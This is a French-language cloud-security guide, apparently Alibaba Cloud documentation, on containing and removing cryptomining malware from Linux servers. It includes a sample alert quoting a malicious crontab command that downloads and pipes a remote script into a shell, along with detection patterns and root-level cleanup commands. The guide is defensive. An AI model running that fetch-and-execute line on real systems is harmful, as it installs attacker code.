Tous les produits
Search
Centre de documentation

Security Center:Bonnes pratiques pour la gestion des programmes de minage de cryptomonnaies

Dernière mise à jour :Sep 23, 2026

Lorsqu'une instance ECS est compromise par un programme de minage de cryptomonnaies, les ressources CPU sont saturées, les services métier sont interrompus et le logiciel malveillant peut se propager latéralement sur le réseau interne. Cette rubrique décrit un workflow complet de réponse aux incidents, allant du confinement immédiat et de l'analyse des causes racines au nettoyage via plusieurs approches, jusqu'au renforcement de la sécurité à long terme, afin de vous aider à rétablir rapidement la sécurité du système.

Vecteurs d'intrusion courants des programmes de minage de cryptomonnaies

Les programmes de minage de cryptomonnaies sont généralement installés sur les instances ECS en raison de protections de sécurité insuffisantes plutôt que de problèmes matériels. Les vecteurs d'intrusion courants incluent :

  • Attaques par force brute sur les mots de passe SSH faibles : les attaquants analysent les ports SSH ouverts et utilisent des attaques par dictionnaire pour craquer les mots de passe faibles, puis installent des programmes de minage après avoir obtenu l'accès au serveur.

  • Accès non autorisé à Redis : si Redis n'a pas de mot de passe configuré ou s'il est lié à une adresse IP incorrecte, les attaquants peuvent exploiter sa capacité d'écriture de fichiers pour installer des scripts de minage.

  • Vulnérabilités des applications web : les attaquants exploitent les vulnérabilités RCE (exécution de code à distance) ou de téléchargement de fichiers pour exécuter directement des programmes de minage sur le serveur.

Mesures de protection :

  1. Utilisez la fonctionnalité Virus Detection and Removal de Security Center pour analyser et supprimer régulièrement les programmes de minage. Cela nécessite l'édition Anti-virus ou supérieure.

  2. Dans le groupe de sécurité ECS, restreignez les ports suspects (tels que 51827) pour n'autoriser l'accès qu'à partir d'adresses IP approuvées.

  3. Examinez régulièrement les clés publiques SSH et supprimez les clés non autorisées.

Dangers des programmes de minage de cryptomonnaies et méthodes d'identification

Dangers

  • Consommation de ressources et dégradation : les programmes de minage consomment des ressources CPU pour effectuer des calculs intensifs visant à miner des cryptomonnaies, ce qui provoque une saturation sévère du CPU et impacte directement le fonctionnement normal des autres applications métier sur le serveur.

  • Propagation de type ver : une fois le périmètre de sécurité franchi, le logiciel malveillant de minage se propage rapidement de manière latérale sur le réseau interne et établit des mécanismes de persistance sur les serveurs compromis pour garantir des profits à long terme.

  • Difficulté de suppression : les programmes de minage utilisent des mécanismes de protection coordonnés et un nettoyage incomplet entraîne des réinfections. Certaines variantes, telles que xorddos, remplacent les commandes système de sorte que l'exécution de commandes système normales déclenche des scripts malveillants, rendant la suppression plus difficile.

Méthodes d'identification

  • Dégradation drastique des performances : l'utilisation du CPU du serveur dépasse périodiquement ou continuellement 80 %, ce qui ralentit les applications métier ou les rend complètement indisponibles.

  • Stabilité du système compromise : la charge de calcul élevée générée par les programmes de minage peut entraîner des plantages du système ou des interruptions de service.

  • Réception d'alertes de sécurité : Security Center envoie des notifications d'alerte lorsqu'il détecte des programmes de minage, une communication avec des pools de minage ou un accès à des noms de domaine malveillants.

  • Mécanisme de détection : la détection des programmes de minage dans Security Center est un mécanisme automatique d'identification en arrière-plan. Il n'existe aucun outil de détection en libre-service dédié. Vous pouvez consulter les résultats de la détection sur la page Detection and Response > Security Events de la console.

  • Webshell comme indicateur d'alerte précoce : la découverte d'un fichier backdoor webshell constitue un indicateur d'alerte précoce signalant qu'un programme de minage a pu être installé. Les attaquants téléchargeent généralement d'abord un webshell, puis installent et lancent le programme de minage. Nous vous recommandons de vérifier la liste des événements de sécurité pour examiner la relation chronologique entre les alertes webshell et les alertes de minage sur le même hôte.

Stratégie de réponse

Réagissez rapidement pour supprimer complètement le programme de minage et ses backdoors de persistance, rétablir les performances normales du serveur et mettre en œuvre des mesures de renforcement de la sécurité afin de prévenir les compromissions futures.

Coûts et risques

  • Coûts :

    • Security Center : les fonctionnalités avancées telles que Antivirus et Deep Cleanup nécessitent l'édition Anti-virus ou supérieure. Un essai gratuit de 7 jours est disponible.

    • Agentless Detection : il s'agit d'un service facturé à l'utilisation. Vous devez acheter séparément la fonctionnalité de facturation Agentless Detection.

    • Emergency Response Service : si vous ne pouvez pas gérer le problème vous-même, vous pouvez souscrire au Emergency Response Service d'Alibaba Cloud pour bénéficier de l'assistance d'ingénieurs de sécurité professionnels.

  • Risques :

    • Risques liés au nettoyage manuel : les opérations manuelles peuvent entraîner la suppression accidentelle de fichiers système ou la modification de configurations, empêchant le démarrage du serveur ou interrompant les opérations métier. Nous vous recommandons de créer un snapshot avant d'effectuer tout nettoyage manuel.

    • Risque de perte de données : la réinitialisation du disque système supprime définitivement toutes les données présentes sur le disque système. Si vous ne créez pas de snapshot au préalable, les données ne pourront pas être récupérées.

Architecture de la solution

Ce guide suit un modèle de réponse aux incidents « découverte – confinement – nettoyage – renforcement » et propose trois voies de remédiation adaptées à différentes compétences techniques et scénarios métier.

  1. Auto-vérification rapide et confinement d'urgence : identifiez la menace et maîtrisez la situation aussi rapidement que possible pour éviter d'autres dommages. Les actions clés consistent à identifier les processus et connexions réseau anormaux et à utiliser un groupe de sécurité pour l'isolation réseau.

  2. Décision et sélection de la voie : en fonction de votre expertise technique, de vos contraintes de temps et de votre tolérance aux risques, choisissez la voie de nettoyage la plus adaptée parmi les trois options suivantes :

    • Nettoyage automatisé avec Security Center (recommandé) : utilisez les outils automatisés fournis par Security Center pour gérer efficacement et précisément les alertes, analyser les virus et supprimer les backdoors de persistance.

    • Nettoyage manuel : adapté aux professionnels disposant d'une vaste expérience en exploitation et maintenance Linux/Windows. Cela implique un nettoyage approfondi du système via une investigation manuelle et l'exécution de commandes.

    • Réinitialisation du système : si l'infection est profondément enracinée ou récurrente, sauvegardez vos données et réinitialisez le disque système pour éliminer la menace à sa source.

  3. Vérification et renforcement de la sécurité : après le nettoyage, vérifiez que le système fonctionne normalement et mettez en œuvre des mesures de renforcement de la sécurité.

Procédure

Auto-vérification rapide et confinement d'urgence

Lorsque vous recevez une alerte ou constatez des performances anormales du serveur, effectuez les actions suivantes pour le diagnostic initial et le confinement d'urgence.

  1. Identifiez les processus et connexions réseau anormaux

    • Vérifiez les processus à forte consommation de CPU : Connectez-vous au serveur et exécutez la commande top -c ou ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more afin de repérer les processus inconnus qui consomment des ressources CPU élevées pendant une période prolongée.

    • Vérifiez les connexions réseau suspectes : Exécutez la commande ss -ntp ou netstat -antp pour détecter les connexions vers des adresses distantes inconnues, en particulier celles utilisant les ports courants des pools de minage tels que 3333, 5555 et 7775.

  2. Effectuez un confinement d'urgence

    • Isolation réseau (recommandée) : Il s'agit du moyen le plus rapide et le plus sûr de contenir la menace. Connectez-vous immédiatement à la console ECS, modifiez les règles du groupe de sécurité du serveur et configurez la règle sortante pour refuser tout le trafic. N'autorisez l'accès aux ports de connexion à distance (tels que SSH 22 ou RDP 3389) qu'à partir d'adresses IP approuvées. Cette action coupe instantanément la communication entre le programme de minage de cryptomonnaies et son pool de minage.

    • Arrêtez les processus malveillants : Pour tout processus malveillant identifié, exécutez la commande kill -9 <PID> afin de le terminer. Notez qu'il s'agit d'une mesure temporaire. Le processus redémarrera probablement si son mécanisme de persistance n'est pas supprimé.

Security Center ne fournit pas d'outil dédié pour tracer les adresses IP des mineurs. Le backend détecte automatiquement les connexions aux pools de minage. Pour obtenir les adresses IP des mineurs et des pools de minage, accédez à Detection and Response > Security Events, et consultez les alertes de type suspicious network connection et suspicious network traffic.

État du serveur après remédiation

Tant que le serveur ne présente plus d'activité de minage, Security Center n'arrête ni ne verrouille automatiquement l'instance ECS après le traitement d'une alerte de minage de cryptomonnaies. Security Center est un service de détection et d'alerte et ne dispose pas de la capacité d'arrêter ou de verrouiller des instances.

  • Gérez manuellement une alerte : Dans la console Security Center, accédez à la page Alert, cliquez sur l'alerte pour afficher ses détails, puis sélectionnez Handled.

  • Expiration automatique : Si vous ne traitez pas manuellement une alerte, elle est automatiquement archivée en tant que expired data 30 jours après sa génération.

Effectuez le nettoyage

Choisissez l'une des méthodes de nettoyage suivantes en fonction de votre situation.

Nettoyage automatisé avec Security Center (recommandé)

Prérequis

  • Vous avez souscrit à l'édition Anti-virus, Advanced, Enterprise ou Ultimate de Security Center.

    Remarque

    Vous pouvez également activer l'essai gratuit de 7 jours pour utiliser les fonctionnalités associées.

  • Pour effectuer une analyse complète, vous devez activer la fonctionnalité Agentless Detection, qui est un service facturé à l'utilisation.

  • Assurez-vous que l'agent Security Center sur le serveur cible est en ligne.

Étape 1 : Traitez les alertes et arrêtez les processus malveillants

Utilisez la fonctionnalité Alert dans Security Center pour arrêter les processus malveillants et mettre en quarantaine les fichiers virus afin d'interrompre rapidement le programme de minage de cryptomonnaies. Pour plus d'informations, consultez la rubrique Évaluer et traiter les alertes de sécurité. Les étapes suivantes fournissent un exemple.

  1. Connectez-vous à la console Security Center.

  2. Dans le volet de navigation de gauche, accédez à Detection and Response > Security Events. Dans le coin supérieur gauche de la console, sélectionnez la région où se trouve la ressource à protéger : Chinese Mainland ou Outside Chinese Mainland.

  3. Repérez l'alerte de minage de cryptomonnaies et cliquez sur Details dans la colonne Actions pour afficher les détails de l'alerte.

    Important

    En vous basant sur les informations de base et la description de l'événement fournies dans la console Security Center, vous pouvez localiser le programme de minage de cryptomonnaies et rechercher d'autres alertes ou fichiers suspects. Vous devez déterminer si le fichier ayant déclenché l'alerte est un fichier métier légitime ou un fichier exécuté par un attaquant. Si vous confirmez qu'il s'agit d'une attaque, nous vous recommandons, après avoir traité l'alerte de minage de cryptomonnaies, de résoudre également toutes les autres alertes et fichiers suspects présents sur le serveur.

    Sur la page des détails de l'alerte, vous pouvez également consulter l'adresse IP du mineur et l'adresse IP de destination utilisée pour la communication avec le pool de minage. Vous pouvez ajouter ces adresses IP à un groupe de sécurité et les désactiver pour bloquer la connexion.

  4. Revenez à la page Alerts pour traiter l'alerte de minage de cryptomonnaies.

    1. Cliquez sur Handle dans la colonne Actions pour l'alerte de minage de cryptomonnaies ciblée.

    2. Dans la boîte de dialogue Handle Alert, sélectionnez Virus Detection and Removal comme méthode de traitement. Ensuite, sélectionnez Terminate Process ou Terminate Process and Quarantine Source File, puis cliquez sur Handle Now pour empêcher le programme de s'exécuter à nouveau.

      Si vous confirmez que le fichier à l'origine de l'alerte n'est pas un fichier métier, nous vous recommandons de sélectionner Terminate Process and Quarantine Source File pour empêcher le virus d'infecter davantage votre serveur.

      Remarque

      Security Center prend en charge la fonctionnalité Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling). Si vous devez traiter par lot des alertes déclenchées par la même règle ou du même type, vous pouvez sélectionner Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).

  5. Sur la page Alerts, recherchez les alertes connexes générées par l'événement de minage de cryptomonnaies (telles que la communication avec le pool de minage) et effectuez l'action Block.

    Remarque

    Security Center génère une politique correspondante pour empêcher le serveur d'accéder au pool de minage, vous laissant ainsi suffisamment de temps pour gérer l'événement de sécurité. Vous pouvez également ajouter manuellement l'adresse IP du pool de minage à un groupe de sécurité pour bloquer l'accès. Pour plus d'informations sur l'ajout d'une règle de groupe de sécurité, consultez la rubrique Ajouter une règle de groupe de sécurité.

  6. Sur la page Alerts, vérifiez la présence d'alertes relatives à des anomalies de comportement des processus afin de déterminer s'il existe des tâches planifiées anormales, et traitez ces alertes en conséquence. Dans le panneau des détails de l'alerte Security Center, le nom de l'alerte est Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, avec le statut Pending. Les champs clés incluent :

    • Nom du processus : bash

    • Chemin du processus : /usr/bin/bash

    • ID du processus : 14075

    • Nom d'utilisateur : root

    • Arguments de la ligne de commande : /bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

    Description de l'événement : Après l'intrusion d'un pirate, un script shell malveillant est écrit dans crontab ou les tâches planifiées systemd pour assurer une exécution persistante. La solution recommandée consiste à vérifier les répertoires tels que /etc/crontab, /var/spool/cron/ et /var/spool/cron/crontabs/ à la recherche de fichiers de tâches planifiées suspects, et à renforcer les mots de passe système.

Étape 2 : Analyse approfondie et nettoyage

Après l'arrêt d'un processus malveillant, ses mécanismes de persistance tels que les services de démarrage automatique et les tâches planifiées peuvent toujours exister. Utilisez la fonctionnalité Antivirus dans Security Center pour les analyser et les nettoyer. Pour plus d'informations, consultez la rubrique Antivirus. Les étapes suivantes fournissent un exemple.

  1. Connectez-vous à la console Security Center.Dans le volet de navigation de gauche, accédez à Protection Configuration > Host Protection > Virus Detection and Removal. Dans le coin supérieur gauche de la console, sélectionnez la région où se trouve la ressource à protéger : Chinese Mainland ou Outside Chinese Mainland.

  2. Sur la page Virus Detection and Removal, cliquez sur Scan Now ou Scan Again.

  3. Dans le panneau Scan Settings, configurez le mode d'analyse et la plage d'analyse, puis cliquez sur OK.

    • Scan Mode : Sélectionnez Quick Scan.

    • Scan Scope : Sélectionnez le serveur qui a été compromis par le programme de minage de cryptomonnaies.

      Définissez Scan Mode sur Quick Scan, et utilisez l'onglet By Asset pour filtrer et sélectionner le serveur cible.

  4. Une fois l'analyse terminée, sur la page Virus Detection and Removal, cliquez sur Actions dans la colonne Handle pour l'alerte cible.

  5. Dans le panneau Alert Handling, sélectionnez Deep Cleanup, cliquez sur Next, et attendez que le système traite l'alerte.

  6. Une fois l'alerte traitée, consultez le résultat et le statut de l'alerte sur la page Alerts.

    Dans la boîte de dialogue Handle Alert, sélectionnez Deep Cleanup (recommandé) comme méthode de traitement. Deep Cleanup effectue les opérations suivantes :

    • Arrête les processus de virus malveillants

    • Met en quarantaine les échantillons malveillants

    • Supprime les mécanismes de persistance implantés par l'attaquant (y compris les entrées Crontab et les sources de téléchargement malveillantes)

    Dans la section méthode de réparation, sélectionnez Auto-Create Snapshot and Repair, définissez un nom de snapshot (par exemple, VirusDefense_AlertRepair_DeepCleanup) et une période de rétention du snapshot (par exemple, 1 day). Le coût du snapshot est d'environ 0,15 CNY par jour pour un disque système de 40 Go.

Étape 3 : Analyse complète

Pour vous assurer qu'aucun fichier résiduel ne subsiste, vous pouvez utiliser la fonctionnalité de détection sans agent pour effectuer une analyse hors ligne complète du disque. Cette fonctionnalité prend uniquement en charge la détection, pas la remédiation. Vous devez traiter tous les risques détectés en vous basant sur les détails fournis sur la page des détails des risques. Pour plus d'informations, consultez la rubrique Agentless Detection.

  1. Connectez-vous à la console Security Center.Sélectionnez la région où se trouve la ressource à protéger : Chinese Mainland ou Outside Chinese Mainland.

  2. Sur l'onglet Agentless Detection > Server Check, dans la section Risk Detection, cliquez sur Scan Now.

  3. Dans le panneau Scan Now, configurez les paramètres comme décrit ci-dessous, puis cliquez sur OK.

    • Scan Scope : Nous vous recommandons de sélectionner les disques de données. Des sources de données plus complètes améliorent la détection des vulnérabilités, des alertes et d'autres risques.

    • Image Retention Duration :

      • Valeurs valides : 1 à 365. Unité : jours.

      • La création de images est facturée. Plus vous conservez longtemps les images, plus les frais sont élevés.

        Important

        Si vous sélectionnez Retain Only At-risk Image, le système supprime automatiquement les images sans risque une fois l'analyse terminée.

  4. Après la création de la tâche, Security Center crée automatiquement des images et exécute l'analyse. Si des risques sont détectés après l'analyse, le système déclenche également automatiquement une analyse parallèle en bac à sable. Pour plus d'informations, consultez les rubriques Création automatique de snapshots et d'images et Exécution automatique de l'analyse parallèle en bac à sable IA. Pour savoir comment consulter la progression des tâches et les rapports, consultez la rubrique Consulter la progression des tâches et les rapports.

    Remarque

    Plus il y a de données serveur analysées, plus la tâche prend du temps. Attendez que la tâche soit terminée.

  5. Une fois la tâche de détection terminée, examinez et traitez les risques de vulnérabilité détectés, les échecs de vérification des lignes de base, les alertes de sécurité et les fichiers sensibles.

Nettoyage manuel

Les programmes de minage de cryptomonnaies créent de nombreuses portes dérobées de persistance, ce qui les rend difficiles à supprimer. Si vous rencontrez un virus de minage de cryptomonnaies sans abonnement Security Center, vous pouvez prendre les mesures suivantes pour enquêter et le traiter.

Important

Cette méthode implique la modification de fichiers et de configurations. Avant de procéder, créez un snapshot des disques du serveur pour garantir que vous pourrez restaurer les données en cas d'erreur opérationnelle.

Systèmes Linux

  1. Bloquez la communication réseau malveillante.

    Après avoir découvert une activité de minage de cryptomonnaies sur un hôte, la première étape consiste à bloquer la communication réseau du cheval de Troie de minage afin de contrôler immédiatement l'impact, car une remédiation complète peut prendre du temps.

    1. Exécutez la commande suivante pour vérifier les connexions réseau actuelles du système.

      netstat -antp
      [root@ixxx poc]# netstat -antp
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
      tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
      tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
      tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
      tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
      tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
      tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
      tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
      tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
      tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
      tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind
    2. Dans les commandes suivantes, remplacez C&C address par une adresse distante suspecte (Foreign Address) qui n'est pas utilisée par vos opérations métier normales. Ensuite, exécutez les commandes pour ajouter des règles de pare-feu afin de bloquer toutes les connexions réseau entre le serveur et l'adresse suspecte.

      iptables -A INPUT -s C&C address -j DROP
      iptables -A OUTPUT -d C&C address -j DROP
  2. Effacez les tâches planifiées.

    Les chevaux de Troie de minage de cryptomonnaies utilisent souvent des tâches planifiées pour télécharger périodiquement (mettre à jour) et démarrer le cheval de Troie. Nettoyer simplement le processus et le fichier du cheval de Troie ne suffit pas à éradiquer le programme et peut entraîner des réinfections récurrentes.

    Examinez les fichiers de tâches planifiées suivants et supprimez toutes les tâches liées au téléchargement ou au démarrage du cheval de Troie de minage de cryptomonnaies.

    • Affichez les tâches planifiées pour l'utilisateur actuel ou un utilisateur spécifié (username).

      crontab -l
      crontab -u username -l
    • Tous les fichiers de tâches planifiées sur l'hôte.

      /etc/crontab
      /var/spool/cron/
      /etc/anacrontab
      /etc/cron.d/
      /etc/cron.hourly/
      /etc/cron.daily/
      /etc/cron.weekly/
      /etc/cron.monthly/
  3. Effacez les services de démarrage automatique.

    1. Exécutez la commande suivante pour examiner tous les services de démarrage automatique sur le système.

      systemctl list-unit-files | grep enabled
    2. Trouvez le fichier unitaire du service suspect et vérifiez ses détails.

      Remplacez * par le nom du service et <service_unit_name> par le nom du fichier unitaire du service.

      ls -al /etc/systemd/system/*.service
      ls -al /usr/lib/systemd/system/*.service
      
      # View service details (the process file started by the service)
      cat /etc/systemd/system/<service_unit_name>.service
    3. Si vous trouvez un service de démarrage automatique malveillant, utilisez les commandes suivantes pour désactiver le service et supprimer son fichier unitaire.

      Remplacez <service name> par le nom du service et <service_unit_name> par le nom du fichier unitaire du service.

      systemctl disable <service name>
      rm /etc/systemd/system/<service_unit_name>.service
      rm /usr/lib/systemd/system/<service_unit_name>.service
    4. Examinez les chemins de service suivants pour les services de démarrage automatique et nettoyez-les en suivant les étapes ci-dessus.

      /etc/rc.local
      /etc/inittab
      /etc/rc.d/
      /etc/init.d/
  4. Effacez les clés publiques SSH.

    Les chevaux de Troie de minage de cryptomonnaies ajoutent souvent la clé publique SSH de l'attaquant au fichier ~/.ssh/authorized_keys. Cela permet à l'attaquant de se connecter à l'hôte compromis sans mot de passe et de réinstaller des fichiers malveillants. Examinez le fichier ~/.ssh/authorized_keys et supprimez immédiatement toutes les clés publiques suspectes.

  5. Effacez le détournement .so.

    Les fichiers .so préchargés, définis via le fichier /etc/ld.so.preload, peuvent détourner des commandes système courantes telles que top, ps et netstat pour masquer le processus de minage de cryptomonnaies.

    1. Exécutez la commande suivante pour examiner les fichiers .so préchargés.

      cat /etc/ld.so.preload
    2. Exécutez la commande suivante pour supprimer le détournement de préchargement.

      echo > /etc/ld.so.preload
  6. Effacez les comptes malveillants.

    Certaines familles de chevaux de Troie de minage de cryptomonnaies créent de nouveaux comptes backdoor pour maintenir un contrôle à long terme sur l'hôte compromis. Exécutez les commandes suivantes pour vérifier la présence de comptes malveillants, puis supprimez manuellement les informations de compte pertinentes.

    • Vérifiez les journaux pour détecter les activités récentes de création de compte.

      cat /var/log/audit/audit.log | grep useradd
      # Or
      cat /var/log/secure | grep 'new user'
    • Vérifiez la présence de comptes suspects dans le fichier /etc/passwd.

      cut -d: -f1 /etc/passwd
    • Vérifiez la date de création ou la dernière activité du répertoire home d'un compte. Portez une attention particulière aux répertoires home récemment créés.

      stat /home/guest/
  7. Contrez les techniques anti-modification.

    Après avoir écrit des fichiers de persistance tels que des tâches planifiées et des services de démarrage automatique, certains chevaux de Troie de minage de cryptomonnaies définissent un attribut immutable sur le fichier pour empêcher la suppression du mécanisme de persistance.

    [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
    rm: remove regular file '/etc/cron.hourly/logrotate'? y
    rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
    [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
    bash: /etc/cron.hourly/logrotate: Permission denied
    [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
    ----i---------e-- /etc/cron.hourly/logrotate

    Si vous rencontrez cette situation, exécutez la commande suivante pour restaurer les attributs du fichier avant de supprimer la tâche correspondante.

    chattr -i /etc/passwd
    chattr -i /etc/crontab
  8. Arrêtez le processus du cheval de Troie de minage de cryptomonnaies.

    1. Les processus de minage de cryptomonnaies consomment généralement beaucoup de ressources CPU. Vous pouvez utiliser les commandes suivantes pour examiner les processus suspects de minage de cryptomonnaies.

      • Examinez les processus consommant une grande partie du CPU de l'hôte.

        top -c

        Notez la valeur 99.4 us dans la ligne %Cpu(s) (indiquant l'utilisation du CPU en espace utilisateur) et le processus /root/.config/logrotate consommant 395,0 % du CPU dans la liste des processus.

        top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
        Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
        %Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
        KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
        KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem
        
          PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
        16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
        ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
        [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
          PID  PPID CMD                         %CPU
        16901     1 /root/.config/logrotate      208
         8988  8847 /root/.vscode-server/bin/2d  3.9
      • Examinez les comportements de connexion réseau anormaux.

        netstat -antp

        La sortie montre que le processus 16901/logrotate possède une connexion réseau ESTABLISHED anormale, ce qui constitue un comportement suspect.

        [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
        Active Internet connections (servers and established)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
        tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
        tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
        tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
        tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
        tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
        tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
        tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
        tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
        tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
        tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
        tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
        tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
        tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
        tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
        tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
        tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind
      • Obtenez le chemin du fichier du processus suspect.

        ls -al /proc/$PID/exe
      • Calculez le hachage MD5 du fichier de processus et recherchez-le sur la plateforme Alibaba Cloud Threat Intelligence.

        md5sum /proc/$PID/exe

        La page des résultats de la requête affiche les informations suivantes :

        • Niveau de risque du fichier (par exemple, Medium) et activité récente.

        • Détails du fichier, y compris le nom du fichier, l'environnement d'exécution et l'heure de première découverte.

        • Valeurs de hachage, y compris MD5, SHA1 et SHA256.

        • Tags de menace (par exemple, Cryptomining).

    2. Exécutez les commandes suivantes pour arrêter le processus de minage de cryptomonnaies et nettoyer le fichier du cheval de Troie.

      kill -9 $PID
      # Delete the process path obtained from ls -al /proc/$PID/exe
      rm /path/to/executable

Systèmes Linux (cas spécifiques de minage de cryptomonnaies)

Minage de cryptomonnaie déguisé en AliyunDuns

  1. Exécutez les commandes suivantes pour rechercher les entrées de démarrage automatique persistantes.

    grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
    grep -rl "wget"  /etc/cron.hourly/*
  2. Si des résultats sont trouvés, un service de démarrage automatique existe. Exécutez les commandes suivantes pour le supprimer.

    rm -f /etc/systemd/system/sysetmd.service
    rm -f /etc/systemd/system/monero.service
    rm -f /etc/systemd/system/A_li_yun_Duns.service
    chattr -i /etc/cron.hourly/0
    rm -f /etc/cron.hourly/0
  3. Recherchez et traitez les utilisateurs suspects.

    1. Exécutez la commande suivante pour interroger la liste des utilisateurs du système et identifier le nom d'utilisateur suspect.

      cat /etc/passwd
    2. Exécutez la commande suivante pour afficher les informations concernant un utilisateur système anormal. Dans cet exemple, l'utilisateur est shaojiang99.

      cat /etc/passwd | grep shaojiang99
      cat /etc/shadow | grep shaojiang99
    3. Exécutez la commande suivante pour supprimer l'utilisateur système suspect.

      chattr -i /etc/passwd
      chattr -i /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/passwd

Correction manuelle pour Skidmap

  1. Exécutez les commandes suivantes pour supprimer les entrées de service de démarrage automatique.

    echo "" > /lib/systemd/system/systemd-cgroup.service
    echo "" > /lib/systemd/system/systemd-deltaed.service
    echo "" > /usr/bin/systemd-cgroup.org
    echo "" > /usr/bin/systemd-cgroup
    echo "" > /usr/bin/systemd-deltaed
    echo "" > /usr/bin/systemd-deltaed.org
  2. Nettoyez manuellement le fichier de clé publique SSH authorized_keys en supprimant toutes les clés suspectes.

Correction manuelle pour Cleanfda

  1. Vérifiez les chemins de tâches planifiées suivants pour détecter l'exécution de scripts suspects (par exemple, /etc/upat.sh).

    /var/spool/cron/
    /etc/cron.d/
    /var/spool/cron/crontabs
    /etc/crontab
  2. Vérifiez les commandes modifiées (les programmes originaux tels que ps, pstree et top seront renommés avec le suffixe .original).

    ls -al /usr/bin | grep original
  3. Vérifiez les clés publiques SSH et supprimez toutes les clés inconnues.

    cat ~/.ssh/authorized_keys
    cat /root/.ssh/authorized_keys

Exemple :

# Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

Famille de logiciels de minage Outlaw

  1. Vérifiez toutes les tâches planifiées cron pour la chaîne .configrc5/.

    • Chemins des tâches planifiées :

      /var/spool/cron/root
      /var/spool/cron/
      /etc/cron.d/
      /var/spool/cron/crontabs
      /etc/crontab
    • Exécutez les commandes suivantes pour effectuer la vérification.

      grep -r ".configrc5/" /var/spool/cron/*
      grep -r ".configrc5/" /etc/cron*
  2. Si elles sont trouvées, exécutez les commandes suivantes pour supprimer les fichiers associés.

    rm -rf /tmp/.X2xi-unix/.rsync
